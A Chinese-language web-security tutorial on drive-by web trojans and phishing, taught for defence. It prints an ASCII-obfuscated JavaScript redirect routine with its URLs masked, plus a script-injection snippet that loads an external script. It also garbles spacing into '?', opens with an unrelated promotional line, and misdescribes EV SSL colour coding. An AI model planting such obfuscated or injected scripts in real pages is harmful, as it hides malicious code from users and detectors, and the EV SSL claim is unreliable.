叢臺(tái)企業(yè)做網(wǎng)站推廣成人英語(yǔ)培訓(xùn)班哪個(gè)機(jī)構(gòu)好
今天,我們來(lái)講一下Web安全!
本文章僅提供學(xué)習(xí),切勿將其用于不法手段!
目前,在滲透測(cè)試領(lǐng)域,主要分為了兩個(gè)發(fā)展方向,分別為Web攻防領(lǐng)域和PWN(二進(jìn)制安全)攻防領(lǐng)域。Web 攻防領(lǐng)域,涉及到一些知識(shí)點(diǎn),本系列教程,就來(lái)科普一下這些知識(shí)點(diǎn)。
接上一篇文章《滲透測(cè)試之Web安全系列教程(一)》,我們來(lái)繼續(xù)滲透討論一下Web安全!
在上一篇文章中,我們提到過(guò)同源策略、XSS注入漏洞、網(wǎng)頁(yè)掛馬等相關(guān)安全內(nèi)容!
我們重點(diǎn)強(qiáng)調(diào)了學(xué)習(xí)滲透測(cè)試知識(shí)的目的!
我們了解攻擊技術(shù)原理,是為了使?jié)B透測(cè)試行為變得更加有效!是為了能夠更好的進(jìn)行信息安全防御,絕不是為了去進(jìn)行違法犯罪行為!
現(xiàn)在,我們來(lái)繼續(xù)講一下來(lái)自網(wǎng)頁(yè)內(nèi)容威脅的兩個(gè)方向(網(wǎng)頁(yè)掛馬、網(wǎng)頁(yè)釣魚)!
網(wǎng)頁(yè)掛馬,是指在正規(guī)合法網(wǎng)站的網(wǎng)頁(yè)內(nèi)容中嵌入惡意腳本內(nèi)容,去實(shí)施木馬攻擊行為!
網(wǎng)頁(yè)釣魚,是指仿冒偽裝成正規(guī)合法網(wǎng)站的網(wǎng)頁(yè)內(nèi)容,去實(shí)施網(wǎng)頁(yè)詐騙行為!
無(wú)論是網(wǎng)頁(yè)掛馬,還是網(wǎng)頁(yè)釣魚,危害都是非常巨大的!
如何避免在瀏覽器中進(jìn)行網(wǎng)絡(luò)沖浪時(shí),遭受網(wǎng)頁(yè)掛馬和網(wǎng)頁(yè)釣魚攻擊呢?
很多瀏覽器,都帶有 惡意網(wǎng)址攔截 功能!這類功能的技術(shù)實(shí)現(xiàn),通常是基于 黑名單機(jī)制 的!
通過(guò)瀏覽器的惡意網(wǎng)址攔截功能,我們可以避免很多針對(duì)惡意網(wǎng)址的網(wǎng)絡(luò)訪問(wèn)行為。
但是,由于瀏覽器的惡意網(wǎng)址攔截功能,是基于 黑名單機(jī)制 的!也就意味著,未被記錄進(jìn) 黑名單 中的 惡意網(wǎng)址,可能無(wú)法被 瀏覽器 成功攔截!
Google 公司,對(duì)外開放了 SafeBrowsing API,用以及時(shí)公布最新的惡意網(wǎng)址名單信息。
除了 瀏覽器 自帶的 惡意網(wǎng)址攔截 黑名單機(jī)制,還有一項(xiàng)保障瀏覽器用戶的網(wǎng)絡(luò)訪問(wèn)行為安全的相關(guān)技術(shù),那就是 EV SSL 證書技術(shù)!對(duì)于危險(xiǎn)網(wǎng)址,EV SSL 證書技術(shù) 將會(huì)顯示為 紅色 ,對(duì)于安全網(wǎng)址,EV SSL 證書技術(shù) 將會(huì)顯示為 綠色。
接下來(lái),讓我們觀察一篇惡意代碼中的部分內(nèi)容,分析一下,它是如何躲避瀏覽器的惡意代碼檢測(cè)的!
this.globalThis || (this.globalThis = this);
? ? ? ? function decodeStr(e) {
? ? ? ? ? ? var d, c, b;
? ? ? ? ? ? if (!e) {
? ? ? ? ? ? ? ? return ""
? ? ? ? ? ? }
? ? ? ? ? ? for (d = e[0],
? ? ? ? ? ? ? ? ? ? ?c = e.split(d),
? ? ? ? ? ? ? ? ? ? ?b = 0; b < c.length; b++) {
? ? ? ? ? ? ? ? c[b] && (c[b] = String.fromCharCode(c[b]))
? ? ? ? ? ? }
? ? ? ? ? ? return c.join("")
? ? ? ? }
window.android_url = ?decodeStr( '|104|116|116|112|115|58|47|47|*|119|101|*|117|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );
window.ios_url ?=?decodeStr( '|104|116|116|112|115|58|47|47|*|112|112|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );
通過(guò)觀察上面的惡意代碼,我們可以獲知,當(dāng)前惡意代碼使用了數(shù)據(jù)加密技術(shù)!
上面的惡意代碼,采用了代碼混淆機(jī)制!
注意,為了避免大家去誤操作性地去訪問(wèn)惡意網(wǎng)址,相關(guān)代碼內(nèi)容已進(jìn)行了數(shù)據(jù)脫敏處理!
上面的惡意代碼,通過(guò)使用自定義的 decodeStr 函數(shù)來(lái)實(shí)現(xiàn)加密數(shù)據(jù)的還原操作!
想要了解上面的惡意代碼做了些什么,我們就必須了解上面的代碼內(nèi)容含義是什么!
通過(guò)觀察,我們獲知,加密數(shù)據(jù),是以數(shù)字形式存儲(chǔ)的,那么,我們不禁想到了 ASCII 編碼!
ascii 碼 104 對(duì)應(yīng)的字符是 h 。
ascii 碼 116 對(duì)應(yīng)的字符是 t 。
ascii 碼 112 對(duì)應(yīng)的字符是 p 。
ascii 碼 115 對(duì)應(yīng)的字符是 s 。
ascii 碼 47 對(duì)應(yīng)的字符是 / 。
通過(guò)上述的觀察,我們可知,代碼混淆 使用的是 ASCII編碼序列技術(shù)!
現(xiàn)在,讓我們來(lái)科普一下 globalThis 的作用和價(jià)值是什么!
全局屬性 globalThis 包含全局對(duì)象?this 的 值,你可以理解為,類似于全局對(duì)象(global object)!
說(shuō)到 全局對(duì)象,讓我們來(lái)復(fù)習(xí)一下 C語(yǔ)言編程 中的 全局變量 概念!
是的,沒(méi)錯(cuò)!全局變量的作用域,是全局的!
全局對(duì)象的作用域,也是全局的!
globalThis ,提供了一種抽象化的、以標(biāo)準(zhǔn)化方式去獲取不同環(huán)境中的全局 this 對(duì)象(也就是全局對(duì)象自身)的途徑。區(qū)別于 window 或者 self 這些瀏覽器對(duì)象屬性,globalThis 可以在有窗口,或者無(wú)窗口的各類型環(huán)境中正常使用。你可以較為放心地使用 globalThis,globalThis 實(shí)現(xiàn)了運(yùn)行環(huán)境無(wú)關(guān)化。您僅須記住:全局作用域環(huán)境中的 this 對(duì)象,即是?globalThis !
我們?cè)賮?lái)觀察看看下面的惡意代碼內(nèi)容:
(function() {
? var hm = document.createElement("script");
? hm.src = "跨域JS腳本的URL地址";
? var s = document.getElementsByTagName("script")[0];
? s.parentNode.insertBefore(hm, s);
})();
上面的代碼內(nèi)容,作用是什么?
是動(dòng)態(tài)創(chuàng)建并添加一個(gè) script 標(biāo)簽,并去解析標(biāo)簽中的內(nèi)容!
惡意腳本,就是如此規(guī)避檢測(cè)的!惡意腳本,就是如此悄悄的潛入你的瀏覽器,并去執(zhí)行惡意代碼的!
想要防御來(lái)自互聯(lián)網(wǎng)世界的惡意攻擊,我們就必須做到:了解對(duì)方是如何地去實(shí)施攻擊的!
在進(jìn)行代碼審計(jì)工作時(shí),在進(jìn)行滲透測(cè)試行為時(shí),當(dāng)我們發(fā)現(xiàn)某個(gè)網(wǎng)頁(yè)文件的內(nèi)容中包含有類似上述代碼內(nèi)容,那么通常意味著,這個(gè)網(wǎng)頁(yè)文件的內(nèi)容,是可疑的!這個(gè)網(wǎng)頁(yè)文件的內(nèi)容安全性,是需要進(jìn)行深入鑒定的!